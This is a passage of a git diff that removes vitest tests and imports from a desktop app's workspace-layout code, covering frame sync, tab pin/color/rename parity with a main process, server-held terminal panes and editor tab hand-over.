 
     sync.close()
   })
-
-  it('after a lost stream reopens, its snapshot redraws every workspace from main', async () => {
-    const { store, sync, layouts } = await bootWithFrames('local', localDesktopSession())
-    sync.start()
-    await flushMicrotasks()
-    stream.onStatus!({ state: 'lost' })
-    expect(layoutFramesFlowing()).toBe(false)
-    // Drawn while no frame came; main's snapshot does not have it.
-    const drawn = { type: 'leaf' as const, leafId: 'drawn-by-the-window' }
-    store.setState({
-      terminalLayoutsByTabId: {
-        ...store.getState().terminalLayoutsByTabId,
-        'tab-shell': { ...store.getState().terminalLayoutsByTabId['tab-shell']!, root: drawn }
-      }
-    })
-
-    stream.onStatus!({ state: 'connecting' })
-    expect(layoutFramesFlowing()).toBe(true)
-    const renamed = structuredClone(layouts)
-    renamed[GIT_KEY]!.tabs.find((tab) => tab.id === 'tab-unbound')!.customTitle = 'from main'
-    stream.onFrame!(layoutSnapshotFrame(renamed))
-    stream.onStatus!({ state: 'live' })
-    await flushMicrotasks()
-
-    const rows = store.getState().tabsByWorktree[GIT_KEY]!
-    expect(rows.find((tab) => tab.id === 'tab-unbound')!.customTitle).toBe('from main')
-    expect(store.getState().terminalLayoutsByTabId['tab-shell']!.root).not.toEqual(drawn)
-    expect(sync.terminalTab(GIT_KEY, 'tab-shell')).toBeDefined()
-    sync.close()
-  })
-
-  it('shows a workspace only main held (a CLI-started tab) once the window first opens it', async () => {
-    const store = createTestStore()
-    await bootWindowFromPartitions(store, [{ hostId: 'local', session: emptySession() }])
-    const sync = openWorkspaceLayoutFrameSync(store)
-    const layouts = mainLoadedLayouts('local', localDesktopSession())
-    stream.onFrame!(layoutSnapshotFrame(layouts))
-    sync.start()
-    await flushMicrotasks()
-    expect(store.getState().tabsByWorktree[GIT_KEY]).toBeUndefined()
-    // The first visit gives the workspace its empty root group; no frame arrives after it.
-    store.getState().ensureWorktreeRootGroup(GIT_KEY)
-    await flushMicrotasks()
-    // Exactly main's terminal tabs: the visit adds none of its own.
-    const mainTerminals = layouts[GIT_KEY]!.tabs.flatMap((tab) =>
-      tab.terminal ? [tab.entityId] : []
-    )
-    expect(mainTerminals).toContain('tab-shell')
-    expect(store.getState().tabsByWorktree[GIT_KEY]?.map((tab) => tab.id)).toEqual(mainTerminals)
-    sync.close()
-  })
-
-  it('started before its snapshot, shows the snapshot when it arrives', async () => {
-    const store = createTestStore()
-    await bootWindowFromPartitions(store, [{ hostId: 'local', session: localDesktopSession() }])
-    const sync = openWorkspaceLayoutFrameSync(store)
-    sync.start()
-    const layouts = mainLoadedLayouts('local', localDesktopSession())
-    layouts[GIT_KEY]!.tabs.find((tab) => tab.id === 'tab-shell')!.customTitle = 'from main'
-    stream.onFrame!(layoutSnapshotFrame(layouts))
-    await flushMicrotasks()
-    expect(
-      store.getState().tabsByWorktree[GIT_KEY]!.find((tab) => tab.id === 'tab-shell')!.customTitle
-    ).toBe('from main')
-    sync.close()
-  })
 })
diff --git a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-tab-props.test.ts b/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-tab-props.test.ts
deleted file mode 100644
index 828d968e969..00000000000
--- a/src/renderer/src/runtime/workspace-layout/frames/workspace-layout-frame-tab-props.test.ts
+++ /dev/null
@@ -1,352 +0,0 @@
-// Main’s frame-drawn pin/color/rename must match current window actions and survive restart in layout-owner builds.
-
-import { afterEach, beforeEach, describe, expect, it, onTestFinished, vi } from 'vitest'
-import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
-import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types'
-import { applyLayoutCommand } from '../../../../../shared/workspace-layout/workspace-layout-commands'
-import type { LayoutCommand } from '../../../../../shared/workspace-layout/workspace-layout-command-types'
-import { testContext } from '../../../../../shared/workspace-layout/workspace-layout-command.test-fixture'
-import { loadWorkspaceLayoutWithoutReport } from '../../../../../shared/workspace-layout/workspace-layout-load'
-import { nameBasedLoadContext } from '../../../../../shared/workspace-layout/workspace-layout-minted-ids'
-import { localDesktopSession } from '../../../../../shared/workspace-layout/workspace-layout-profile.test-fixture'
-import { publishWorkspaceLayout } from '../../../../../shared/workspace-layout/workspace-layout-published'
-import { patchStoredSession } from '../../../../../shared/workspace-layout/workspace-layout-record-patch'
-import { saveWorkspaceLayout } from '../../../../../shared/workspace-layout/workspace-layout-save'
-import { GIT_KEY } from '../../../../../shared/workspace-layout/workspace-layout-session.test-fixture'
-import type { WorkspaceLayoutChangeFrame } from '../../../../../shared/workspace-layout/workspace-layout-stream-frames'
-import {
-  bootWindowFromPartitions,
-  projectStartupWindowView
-} from '../../../app-shell/startup-window-view.test-fixture'
-import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
-import { createTestStore } from '../../../store/testing/app-store-test-fixture'
-import { withLayoutOwnerTabProps } from '../../../components/tab-bar/tab-bar-layout-owner-props'
-import { useAppStore } from '@/store/index'
-import type { AppState } from '../../../store/types'
-import { layoutApplyTestTransport } from '../testing/layout-apply-test-transport.test-fixture'
-import { openWorkspaceLayoutFrameSync } from './workspace-layout-frame-sync'
-import { installLayoutFrameApplyCheck } from '../testing/workspace-layout-frame-apply-check.test-fixture'
-
-// Today's window acts with the switch off; the layout-owner window, with it on.
-const layoutOwner = vi.hoisted(() => ({ isMain: false }))
-vi.mock('../../../../../shared/layout-owner-switch', () => ({
-  get ORCA_LAYOUT_OWNER_IS_MAIN() {
-    return layoutOwner.isMain
-  }
-}))
-
-// Main's answer to the window's layout commands, as a switch-on build sends them.
-vi.mock('@/runtime/rpc/calls/runtime-rpc-call', async (importOriginal) =>
-  (
-    await import('@/runtime/workspace-layout/testing/layout-apply-test-transport.test-fixture')
-  ).runtimeRpcClientWithLayoutApply(await importOriginal())
-)
-
-vi.mock('sonner', () => ({ toast: { info: vi.fn(), success: vi.fn(), error: vi.fn() } }))
-vi.mock('@/lib/agent-status/aggregation/worktree-agent-status', async (importOriginal) => {
-  const actual = await importOriginal<typeof AgentStatusModule>()
-  return { ...actual, detectAgentStatusFromTitle: vi.fn().mockReturnValue(null) }
-})
-
-const stream = vi.hoisted(
-  (): { onFrame: ((frame: WorkspaceLayoutChangeFrame) => void) | null } => ({ onFrame: null })
-)
-vi.mock('./runtime-layout-client', () => ({
-  subscribeRuntimeLayout: (
-    _target: unknown,
-    _params: unknown,
-    onFrame: (frame: WorkspaceLayoutChangeFrame) => void
-  ) => {
-    stream.onFrame = onFrame
-    return { close: () => {} }
-  }
-}))
-
-createStoreSessionMockApi()
-
-type Store = ReturnType<typeof createTestStore>
-
-let check: ReturnType<typeof installLayoutFrameApplyCheck>
-beforeEach(() => {
-  check = installLayoutFrameApplyCheck()
-})
-afterEach(() => {
-  check.uninstall()
-  expect(check.failures).toEqual([])
-})
-
-const flushMicrotasks = () => new Promise<void>((resolve) => setTimeout(resolve, 0))
-
-/** Compare visible startup view plus pin/preview/color; slice order and row sortOrder are not visible. */
-function shownTabs(state: AppState): Record<string, unknown> {
-  const view = projectStartupWindowView(state)
-  for (const [key, tabs] of Object.entries(state.unifiedTabsByWorktree)) {
-    for (const tab of tabs) {
-      view[`${key} tab ${tab.id} props`] = {
-        pinned: tab.isPinned === true,
-        preview: tab.isPreview === true,
-        color: tab.color ?? null
-      }
-    }
-  }
-  for (const [key, rows] of Object.entries(state.tabsByWorktree)) {
-    for (const row of rows) {
-      view[`${key} terminal ${row.id} props`] = {
-        pinned: row.isPinned === true,
-        color: row.color ?? null,
-        customTitle: row.customTitle ?? null
-      }
-    }
-  }
-  return view
-}
-
-/** Main's `layout.apply` on the stored partition: load, apply, then write only touched records. */
-function mainApplies(stored: WorkspaceSessionState, command: LayoutCommand): WorkspaceSessionState {
-  const loaded = loadWorkspaceLayoutWithoutReport('local', stored, nameBasedLoadContext())
-  const applied = applyLayoutCommand(loaded.layout, command, testContext())
-  if (!applied.ok) {
-    throw new Error(`main refused ${command.type}: ${applied.code}`)
-  }
-  return patchStoredSession(
-    stored,
-    saveWorkspaceLayout(loaded),
-    saveWorkspaceLayout({ ...loaded, layout: applied.model })
-  )
-}
-
-function frameOf(stored: WorkspaceSessionState): WorkspaceLayoutChangeFrame {
-  const { layout } = loadWorkspaceLayoutWithoutReport('local', stored, nameBasedLoadContext())
-  return {
-    type: 'workspace',
-    key: GIT_KEY,
-    layout: publishWorkspaceLayout(layout.workspaces[GIT_KEY]!, 'local')
-  }
-}
-
-async function boot(session: WorkspaceSessionState): Promise<Store> {
-  const store = createTestStore()
-  await bootWindowFromPartitions(store, [{ hostId: 'local', session }])
-  return store
-}
-
-const APP_FILE = '/Users/dev/orca/src/app.ts'
-const PIN_PREVIEW: LayoutCommand = {
-  type: 'setTabProps',
-  workspace: GIT_KEY,
-  tabId: 'editor:src/app.ts',
-  isPinned: true
-}
-
-/** The profile with its editor tab a preview. */
-function previewSession(): WorkspaceSessionState {
-  const session = localDesktopSession()
-  session.unifiedTabs![GIT_KEY] = session.unifiedTabs![GIT_KEY]!.map((tab) =>
-    tab.contentType === 'editor' ? { ...tab, isPreview: true } : tab
-  )
-  session.openFilesByWorktree![GIT_KEY] = session.openFilesByWorktree![GIT_KEY]!.map((file) => ({
-    ...file,
-    isPreview: true
-  }))
-  return session
-}
-
-type Case = {
-  name: string
-  session?: () => WorkspaceSessionState
-  /** What main receives (the tab bar's command, addressed by tab-bar id). */
-  command: LayoutCommand
-  /** The window's own action today, as the tab bar runs it. */
-  windowAction: (state: AppState) => void
-  /** Where main's result differs from today's, by `shownTabs` path: main's value. */
-  mainShows?: Record<string, unknown>
-  /** What main's copy shows until the window's own action runs and the window saves it. */
-  mainCopyLags?: Record<string, unknown>
-}
-
-const CASES: Case[] = [
-  {
-    name: 'rename a terminal',
-    command: {
-      type: 'renameTab',
-      workspace: GIT_KEY,
-      tabId: 'tab-shell',
-      kind: 'custom',
-      title: 'Build'
-    },
-    windowAction: (state) => state.setTabCustomTitle('tab-shell', 'Build')
-  },
-  {
-    name: 'clear the title of a terminal whose tab-bar id differs from its terminal’s',
-    command: {
-      type: 'renameTab',
-      workspace: GIT_KEY,
-      tabId: 'tab-agent',
-      kind: 'custom',
-      title: null
-    },
-    windowAction: (state) => state.setTabCustomTitle('term-agent', null),
-    // Today a terminal with no live title yet keeps showing the cleared title until one arrives.
-    mainShows: { [`${GIT_KEY} terminal term-agent phone and CLI title`]: 'Terminal 2' }
-  },
-  {
-    // A chat's name lives on its host; only a host too old to save it keeps the name on the tab.
-    name: 'rename a chat whose host cannot save names',
-    command: {
-      type: 'renameTab',
-      workspace: GIT_KEY,
-      tabId: 'agent-session-1',
-      kind: 'custom',
-      title: 'Review'
-    },
-    windowAction: (state) => state.setTabCustomLabel('agent-session-1', 'Review')
-  },
-  {
-    name: 'color a terminal',
-    command: { type: 'setTabProps', workspace: GIT_KEY, tabId: 'tab-shell', color: '#22c55e' },
-    windowAction: (state) => state.setTabColor('tab-shell', '#22c55e')
-  },
-  {
-    name: 'clear a color',
-    command: { type: 'setTabProps', workspace: GIT_KEY, tabId: 'tab-agent', color: null },
-    windowAction: (state) => state.setTabColor('term-agent', null)
-  },
-  {
-    name: 'pin a terminal behind the pinned one',
-    command: { type: 'setTabProps', workspace: GIT_KEY, tabId: 'tab-shell', isPinned: true },
-    windowAction: (state) => state.pinTab('tab-shell')
-  },
-  {
-    name: 'pin the last tab of the second group',
-    command: { type: 'setTabProps', workspace: GIT_KEY, tabId: 'tab-unbound', isPinned: true },
-    windowAction: (state) => state.pinTab('tab-unbound')
-  },
-  {
-    name: 'unpin',
-    command: { type: 'setTabProps', workspace: GIT_KEY, tabId: 'tab-agent', isPinned: false },
-    windowAction: (state) => state.unpinTab('tab-agent'),
-    // Today's unpin skips the row of a terminal whose id differs from its tab's; main reads the row.
-    mainShows: {
-      [`${GIT_KEY} terminal term-agent props`]: {
-        pinned: false,
-        color: '#7c3aed',
-        customTitle: 'Agent'
-      }
-    }
-  },
-  {
-    name: 'pin a browser tab',
-    command: { type: 'setTabProps', workspace: GIT_KEY, tabId: 'browser-1', isPinned: true },
-    windowAction: (state) => state.pinTab('browser-1')
-  },
-  {
-    name: 'pin a preview file, which keeps it',
-    session: previewSession,
-    command: PIN_PREVIEW,
-    windowAction: (state) => state.pinFile(APP_FILE, 'editor:src/app.ts'),
-    // Main's copy keeps the preview until the window's keep reaches main.
-    mainCopyLags: {
-      [`${GIT_KEY} tab editor:src/app.ts props`]: { pinned: true, preview: true, color: null }
-    }
-  }
-]
-
-describe('tab properties through main', () => {
-  it.each(CASES.map((entry) => [entry.name, entry] as const))(
-    '%s: main’s frame shows what the window’s own action shows, and restarts the same',
-    async (_, entry) => {
-      const stored = (entry.session ?? localDesktopSession)()
-
-      // Today: the window acts on its own copy.
-      layoutOwner.isMain = false
-      const today = await boot(stored)
-      entry.windowAction(today.getState())
-      await layoutApplyTestTransport.settle()
-      const todayTabs = shownTabs(today.getState())
-      expect(todayTabs).not.toEqual(shownTabs((await boot(stored)).getState()))
-      const expected = { ...todayTabs, ...entry.mainShows }
-
-      // Layout-owner build: main applies first and the window draws main's frame.
-      layoutOwner.isMain = true
-      const afterMain = mainApplies(stored, entry.command)
-      const drawn = await boot(stored)
-      const sync = openWorkspaceLayoutFrameSync(drawn)
-      stream.onFrame!({ type: 'snapshot', workspaces: [] })
-      sync.start()
-      stream.onFrame!(frameOf(afterMain))
-      await flushMicrotasks()
-      const mainCopy = { ...expected, ...entry.mainCopyLags }
-      expect(shownTabs(drawn.getState())).toEqual(mainCopy)
-
-      // Frame already drew the command result; answer changes only window-owned preview state for parity with current actions.
-      entry.windowAction(drawn.getState())
-      await layoutApplyTestTransport.settle()
-      // A preview's end goes to main as well; its frame draws it.
-      const promotes = layoutApplyTestTransport.sentOfType('promotePreviewTab')
-      if (promotes.length > 0) {
-        stream.onFrame!(frameOf(promotes.reduce(mainApplies, afterMain)))
-        await flushMicrotasks()
-      }
-      expect(shownTabs(drawn.getState())).toEqual(expected)
-      sync.close()
-
-      // A restart from main's write alone shows main's copy.
-      expect(shownTabs((await boot(afterMain)).getState())).toEqual(mainCopy)
-    }
-  )
-})
-
-describe('the tab bar’s pin through main', () => {
-  it('pins a preview file as today’s pin does: main’s frame, the window’s preview end, and a use', async () => {
-    const stored = previewSession()
-    layoutOwner.isMain = false
-    const today = await boot(stored)
-    today.getState().pinFile(APP_FILE, 'editor:src/app.ts')
-    const expected = shownTabs(today.getState())
-
-    layoutOwner.isMain = true
-    const recordFeatureInteraction = vi.fn()
-    const previousRecord = useAppStore.getState().recordFeatureInteraction
-    useAppStore.setState({ recordFeatureInteraction })
-    onTestFinished(() => useAppStore.setState({ recordFeatureInteraction: previousRecord }))
-    layoutApplyTestTransport.reset()
-    const drawn = await boot(stored)
-    const sync = openWorkspaceLayoutFrameSync(drawn)
-    stream.onFrame!({ type: 'snapshot', workspaces: [] })
-    sync.start()
-    const windowPin = vi.fn()
-    withLayoutOwnerTabProps(
-      {
-        togglePinned: windowPin,
-        makePreviewFilePermanent: (fileId, tabId) =>
-          drawn.getState().makePreviewFilePermanent(fileId, tabId)
-      },
-      () => GIT_KEY
-    ).togglePinned({
-      unifiedTabId: 'editor:src/app.ts',
-      isPinned: false,
-      type: 'editor',
-      data: { id: APP_FILE }
-    })
-    // Main's frame arrives before its answer.
-    const pinned = mainApplies(stored, PIN_PREVIEW)
-    stream.onFrame!(frameOf(pinned))
-    await layoutApplyTestTransport.settle()
-    await flushMicrotasks()
-
-    // The answer ends the preview, which the window's store action sends to main as well.
-    const promote: LayoutCommand = {
-      type: 'promotePreviewTab',
-      workspace: GIT_KEY,
-      tabId: 'editor:src/app.ts'
-    }
-    expect(layoutApplyTestTransport.sent).toEqual([PIN_PREVIEW, promote])
-    stream.onFrame!(frameOf(mainApplies(pinned, promote)))
-    await layoutApplyTestTransport.settle()
-    await flushMicrotasks()
-    expect(windowPin).not.toHaveBeenCalled()
-    expect(recordFeatureInteraction).toHaveBeenCalledWith('terminal-tabs')
-    expect(shownTabs(drawn.getState())).toEqual(expected)
-    sync.close()
-  })
-})
diff --git a/src/renderer/src/runtime/workspace-layout/server/server-held-panes.test.tsx b/src/renderer/src/runtime/workspace-layout/server/server-held-panes.test.tsx
index 08c43962271..26791dae64e 100644
--- a/src/renderer/src/runtime/workspace-layout/server/server-held-panes.test.tsx
+++ b/src/renderer/src/runtime/workspace-layout/server/server-held-panes.test.tsx
@@ -6,7 +6,6 @@ import { createRoot, type Root } from 'react-dom/client'
 import { afterEach, beforeEach, describe, expect, it, vi, type Mock } from 'vitest'
 import type * as AgentStatusModule from '@/lib/agent-status/aggregation/worktree-agent-status'
 import type * as FrameDrawnModule from '../../web-session-tabs-sync/frame-drawn-server-workspaces'
-import { makePaneKey } from '../../../../../shared/workspace-layout/stable-pane-id'
 import { toWebTerminalSurfaceTabId } from '../../../../../shared/workspace-layout/terminal-surface-id'
 import type { NewerDaemonReopenResult } from '../../../../../shared/newer-daemon-hold'
 import type {
@@ -79,9 +78,7 @@ hoisted.subscribe = streams.subscribe
 const { setServers, mirroredStore, install, uninstallAll } = createServerHarness(hoisted)
 
 const TAB_1 = toWebTerminalSurfaceTabId('host-tab-1')
-const PANE_KEY = makePaneKey(TAB_1, LEAF_ID)
 const REOPENS: Server = { ...CAPABLE, reopensHeldPanes: true }
-const FAILED_TITLE = "Couldn't reopen this terminal"
 
 /** ENV's workspace with its one pane carrying `status`, as the server publishes it. */
 function layoutWith(status: PaneStartStatus | undefined): PublishedWorkspaceLayout {
@@ -198,22 +195,4 @@ describe("a layout-owner server's held pane on a paired desktop", () => {
       /^remote:/
     )
   })
-
-  it.each([
-    ['refuses', () => Promise.resolve({ reopened: false })],
-    ['fails', () => Promise.reject(new Error('connection lost'))]
-  ] as const)('shows the failed state when the server %s', async (_, reply) => {
-    hoisted.callRuntimeRpc.mockImplementation(reply)
-    await heldServerPane()
-
-    await act(async () => button('Reopen terminal').click())
-
-    expect(paneElement.textContent).toContain(FAILED_TITLE)
-    expect(button('Try again').disabled).toBe(false)
-    // The banner stays on the failed path while the server still holds the pane.
-    await publish(layoutWith('held'))
-    await render()
-    expect(paneElement.textContent).toContain(FAILED_TITLE)
-    expect(newerDaemonHoldStore.getState().panes[PANE_KEY]?.phase).toBe('failed')
-  })
 })
diff --git a/src/renderer/src/runtime/workspace-layout/server/server-layout-apply.test.ts b/src/renderer/src/runtime/workspace-layout/server/server-layout-apply.test.ts
index 9b563614554..60bd1859bee 100644
--- a/src/renderer/src/runtime/workspace-layout/server/server-layout-apply.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/server/server-layout-apply.test.ts
@@ -15,15 +15,9 @@ import {
   beginLayoutFramePositions,
   noteLayoutFramePosition
 } from '../frames/layout-frame-position'
-import {
-  recordLayoutApply,
-  sendLayoutApply,
-  type WindowLayoutCommand
-} from '../commands/layout-apply-send'
-import { recordTabOrderInLayoutOwner } from '@/store/slices/tabs/tab-order-layout-owner'
+import { sendLayoutApply, type WindowLayoutCommand } from '../commands/layout-apply-send'
 import { mainLayoutFrameSender } from '../testing/main-loaded-layout-frames.test-fixture'
 import './server-layout-apply'
-import { redrawServerLayoutWorkspace } from './server-layout-apply-routes'
 import {
   CAPABLE,
   ENV,
@@ -103,7 +97,6 @@ hoisted.subscribe = streams.subscribe
 
 const TAB_1 = toWebTerminalSurfaceTabId('host-tab-1')
 const TAB_2 = toWebTerminalSurfaceTabId('host-tab-2')
-const THIRD_LEAF_ID = '33333333-3333-4333-8333-333333333333'
 // The server's tab-bar ids differ from its terminals' ids: the join must not derive one from the other.
 const TWO_TABS: PublishedWorkspaceLayout = (() => {
   const tabs = [
@@ -193,165 +186,4 @@ describe('a layout intent for a workspace a server’s frames draw', () => {
     expect(handlers.apply).toHaveBeenCalledWith({ tabId: TAB_2 }, { framesKey: ENV, routed: true })
     expect(handlers.asToday).not.toHaveBeenCalled()
   })
-
-  it.each([
-    { reply: { ok: false, code: 'host_not_owned' } as const, code: 'host_not_owned' },
-    { reply: { ok: false, code: 'tab_not_found' } as const, code: 'tab_not_found' },
-    { reply: new Error('connection lost'), code: 'call_failed' }
-  ])(
-    'redraws from the server’s frames on $code, applies nothing here, and sends it once',
-    async ({ reply, code }) => {
-      const { store, stream, frames } = await drawnByServer()
-      hoisted.reply = async () => {
-        if (reply instanceof Error) {
-          throw reply
-        }
-        return reply
-      }
-      // The window drew the move itself meanwhile; the server does not take it.
-      const { taken, handlers } = send(store, {
-        type: 'moveTab',
-        tabId: TAB_2,
-        toGroupId: HOST_GROUP,
-        index: 0
-      })
-      store.setState({
-        groupsByWorktree: {
-          ...store.getState().groupsByWorktree,
-          [WT]: (store.getState().groupsByWorktree[WT] ?? []).map((group) => ({
-            ...group,
-            tabOrder: [TAB_2, TAB_1]
-          }))
-        }
-      })
-      await settle()
-      await settle()
-
-      expect(taken).toBe(true)
-      expect(handlers.refused).toHaveBeenCalledWith(code)
-      expect(handlers.apply).not.toHaveBeenCalled()
-      expect(handlers.asToday).not.toHaveBeenCalled()
-      expect(orderOf(store)).toEqual([TAB_1, TAB_2])
-
-      // A reconnect does not send it again: the server may have applied it.
-      stream.onStatus({ state: 'lost' })
-      stream.onStatus({ state: 'connecting' })
-      streams.send(stream, senderSnapshot(frames, { [WT]: TWO_TABS }, 1))
-      await settle()
-      expect(hoisted.sent).toHaveLength(1)
-    }
-  )
-
-  // A desktop close the server refuses (a pinned tab): the window dropped it, the frames bring it back.
-  it('draws a tab the window closed again when its close is refused', async () => {
-    const { store } = await drawnByServer()
-    store.setState({
-      groupsByWorktree: {
-        ...store.getState().groupsByWorktree,
-        [WT]: (store.getState().groupsByWorktree[WT] ?? []).map((group) => ({
-          ...group,
-          tabOrder: [TAB_2]
-        }))
-      },
-      tabsByWorktree: {
-        ...store.getState().tabsByWorktree,
-        [WT]: (store.getState().tabsByWorktree[WT] ?? []).filter((tab) => tab.id !== TAB_1)
-      }
-    })
-    expect(orderOf(store)).toEqual([TAB_2])
-
-    expect(redrawServerLayoutWorkspace(ENV, WT)).toBe(true)
-    await settle()
-
-    expect(orderOf(store)).toEqual([TAB_1, TAB_2])
-    expect(store.getState().tabsByWorktree[WT]?.map((tab) => tab.id)).toContain(TAB_1)
-    expect(redrawServerLayoutWorkspace(ENV, 'repo::/elsewhere')).toBe(false)
-  })
-
-  it('lets a reply waiting on a server whose stream closes show at once', async () => {
-    const { store } = await drawnByServer()
-    hoisted.reply = async () => ({ ok: true, result: {}, frameSeq: 9 })
-    const { handlers } = send(store, { type: 'equalizePanes', tabId: TAB_1 })
-    await settle()
-    expect(handlers.apply).not.toHaveBeenCalled()
-
-    uninstallAll()
-    await settle()
-    expect(handlers.apply).toHaveBeenCalledTimes(1)
-  })
-})
-
-describe('a move routed to a server among tabs this desktop holds alone', () => {
-  const TAB_3 = toWebTerminalSurfaceTabId('host-tab-3')
-  const THREE_TABS: PublishedWorkspaceLayout = (() => {
-    const tabs = [
-      { ...serverTerminalTab('host-tab-1', LEAF_ID, 'server-pty-1'), id: 'bar-1' },
-      { ...serverTerminalTab('host-tab-2', SECOND_LEAF_ID, 'server-pty-2'), id: 'bar-2' },
-      { ...serverTerminalTab('host-tab-3', THIRD_LEAF_ID, 'server-pty-3'), id: 'bar-3' }
-    ]
-    return {
-      ...serverLayout(tabs),
-      groups: [{ id: HOST_GROUP, tabIds: ['bar-1', 'bar-3', 'bar-2'] }]
-    }
-  })()
-
-  /** Draws `order` in the server's group, with rows for the ids the server's frames lack. */
-  function drawOrder(store: TestStore, order: string[]): void {
-    const rows = store.getState().unifiedTabsByWorktree[WT]!
-    const extra = order
-      .filter((id) => !rows.some((tab) => tab.id === id))
-      .map((id) => ({ ...rows[0]!, id, entityId: id }))
-    store.setState({
-      unifiedTabsByWorktree: { [WT]: [...rows, ...extra] },
-      groupsByWorktree: {
-        [WT]: store
-          .getState()
-          .groupsByWorktree[WT]!.map((group) =>
-            group.id === HOST_GROUP ? { ...group, tabOrder: order } : group
-          )
-      }
-    })
-  }
-
-  const sentCommand = (at: number) => hoisted.sent[at]!.params
-
-  it('anchors a reopened tab after desktop tabs on the server tab before them', async () => {
-    const { store } = await drawnByServer(THREE_TABS)
-    // [S1, D1, D2, T, S2]: the server's [S1, S2] takes T between them.
-    drawOrder(store, [TAB_1, 'd1', 'd2', TAB_3, TAB_2])
-    recordLayoutApply(store.getState(), WT, {
-      type: 'moveTab',
-      tabId: TAB_3,
-      toGroupId: HOST_GROUP,
-      index: 3,
-      afterTabId: 'd2'
-    })
-    // An index-only move (an agent launch's) is placed the same way.
-    recordLayoutApply(store.getState(), WT, {
-      type: 'moveTab',
-      tabId: TAB_3,
-      toGroupId: HOST_GROUP,
-      index: 3
-    })
-    await settle()
-    for (const at of [0, 1]) {
-      expect(sentCommand(at)).toMatchObject({
-        command: { tabId: 'bar-3', index: 1, afterTabId: 'bar-1' }
-      })
-    }
-  })
-
-  it('places a reorder past desktop tabs among the server’s tabs only', async () => {
-    const { store } = await drawnByServer()
-    const from = [TAB_1, 'd1', 'd2', TAB_2]
-    const to = ['d1', 'd2', TAB_1, TAB_2]
-    drawOrder(store, to)
-    recordTabOrderInLayoutOwner(store.getState(), HOST_GROUP, { worktreeId: WT, from, to })
-    await settle()
-    // The server's order [S1, S2] is unchanged: S1 stays first.
-    expect(hoisted.sent).toHaveLength(1)
-    expect(sentCommand(0)).toMatchObject({
-      command: { tabId: 'bar-1', index: 0, afterTabId: null }
-    })
-  })
 })
diff --git a/src/renderer/src/runtime/workspace-layout/server/server-layout-editor-handover.test.ts b/src/renderer/src/runtime/workspace-layout/server/server-layout-editor-handover.test.ts
index 33c43ced8d2..380d32dc428 100644
--- a/src/renderer/src/runtime/workspace-layout/server/server-layout-editor-handover.test.ts
+++ b/src/renderer/src/runtime/workspace-layout/server/server-layout-editor-handover.test.ts
@@ -10,12 +10,6 @@ import type {
   LayoutApplyReply,
   LayoutCommand
 } from '../../../../../shared/workspace-layout/workspace-layout-command-types'
-
-import { toRuntimeExecutionHostId } from '../../../../../shared/execution-host'
-import { getDiskBaselineSignature } from '../../../../../shared/file-write/disk-baseline-signature'
-import { TEST_REPO } from '../../../store/repos/repo.test-fixture'
-import { makeWorktree } from '../../../store/slices/worktrees/worktree.test-fixture'
-import { createEditorSaveQueue } from '@/components/editor/save/queue/editor-save-queue'
 import { createStoreSessionMockApi } from '../../../store/testing/app-store-session-api.test-fixture'
 import { _resetLayoutFramePositionForTests } from '../frames/layout-frame-position'
 import {
@@ -156,7 +150,6 @@ function editDraft(store: TestStore, fileId: string, draft: string): void {
   store.getState().setEditorDraft(fileId, draft)
   store.getState().markFileDirty(fileId, true)
 }
-const RUNTIME_HOST = toRuntimeExecutionHostId(ENV)
 
 /** The editor opens this window sent the ENV server. */
 const serverOpens = () =>
@@ -218,27 +211,6 @@ afterEach(() => {
 })
 
 describe('a desktop-only editor tab when the server’s frames take its workspace', () => {
-  it('keeps the tab and its draft on the mirror for the stream after any other refusal', async () => {
-    const store = mirroredStore()
-    const { fileId, tabId } = openDesktopFile(store, FILE_PATH)
-    editDraft(store, fileId, 'unsaved')
-    const server = serverWith()
-    server.answer = { refuse: 'group_not_found' }
-
-    await connect(store, server)
-    // The server's next records frame neither draws the workspace nor sends the tab again.
-    const renamed = structuredClone(server.layout(WT)!)
-    renamed.tabs[0]!.customTitle = 'named on the server'
-    server.change(WT, renamed)
-    await settle()
-
-    expect(serverOpens()).toHaveLength(1)
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(false)
-    expect(editorTabIds(store)).toEqual([tabId])
-    expect(openFileIds(store)).toEqual([fileId])
-    expect(store.getState().editorDrafts[fileId]).toBe('unsaved')
-  })
-
   it('stays ungated with its tabs when the stream drops mid-hand-over; the next stream finishes it', async () => {
     const store = mirroredStore()
     const { fileId, tabId } = openDesktopFile(store, FILE_PATH)
@@ -270,53 +242,6 @@ describe('a desktop-only editor tab when the server’s frames take its workspac
     expect(store.getState().editorDrafts[fileId]).toBe('unsaved')
   })
 
-  it('retries on the next stream after a call that never reached the server, and gates once it applies', async () => {
-    const store = mirroredStore()
-    const { fileId, tabId } = openDesktopFile(store, FILE_PATH)
-    editDraft(store, fileId, 'unsaved')
-    const server = serverWith()
-    server.answer = 'throw'
-    const stream = await connect(store, server)
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(false)
-
-    stream.onStatus({ state: 'lost' })
-    stream.onStatus({ state: 'connecting' })
-    server.answer = 'apply'
-    server.connect(stream)
-    await settle()
-    await settle()
-
-    expect(serverOpens().map((command) => command.tabId)).toEqual([tabId, tabId])
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-    expect(editorTabIds(store)).toEqual([tabId])
-    expect(openFileIds(store)).toEqual([fileId])
-    expect(store.getState().editorDrafts[fileId]).toBe('unsaved')
-  })
-
-  it('hands over a tab opened during the hand-over before gating, and skips one closed meanwhile', async () => {
-    const store = mirroredStore()
-    const first = openDesktopFile(store, FILE_PATH)
-    const server = serverWith()
-    server.answer = 'pending'
-    await connect(store, server)
-    expect(serverOpens()).toHaveLength(1)
-
-    // Still mirror-drawn: these open here, as today.
-    const second = openDesktopFile(store, SECOND_PATH)
-    const closed = openDesktopFile(store, '/worktree/src/c.ts')
-    expect(editorTabIds(store)).toEqual([first.tabId, second.tabId, closed.tabId])
-    store.getState().closeFile(closed.fileId)
-    server.answer = 'apply'
-    server.release()
-    await settle()
-    await settle()
-
-    expect(serverOpens().map((command) => command.tabId)).toEqual([first.tabId, second.tabId])
-    expect(isFrameDrawnServerWorkspace(ENV, WT)).toBe(true)
-    expect(editorTabIds(store)).toEqual([first.tabId, second.tabId])
